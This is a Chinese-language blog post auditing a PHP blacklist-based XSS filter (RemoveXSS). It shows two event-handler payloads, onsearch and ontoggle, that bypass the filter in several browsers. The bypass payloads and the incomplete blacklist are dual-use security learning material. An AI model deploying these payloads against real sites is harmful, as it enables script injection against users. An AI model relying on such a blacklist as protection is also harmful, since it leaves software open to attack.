一次XSS审计学习

一次XSS审计学习

参考http://www.secist.com/archives/5388.html
参考https://html5sec.org/#html

  • 过滤脚本
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/**
* 去除XSS(跨站脚本攻击)
* @param string $val
* @return string
**/
public function RemoveXSS($val)
{
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++)
{
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
}
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base', 'style');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true;
while ($found == true)
{
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++)
{
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++)
{
if ($j > 0)
{
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<xss>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val)
{
$found = false;
}
}
}
return $val;
}

可以看出主要是以黑名单的方式,针对标签与事件做过滤,那么就看看有没有漏网之鱼?
测试环境为:
Sougou-7.5.5.26904Firefox-58.0Google Chrome-63.0
搜索触发

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<input type="search" onsearch="alert(1)">

sougou \ firefox \ Google Chrome
无需用户交互

1
<details open ontoggle="alert(1)">

sougou \ firefox \ Google Chrome

Author: 1314mylove
Link: https://blog.1314mylove.com/2018/01/一次xss审计学习/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.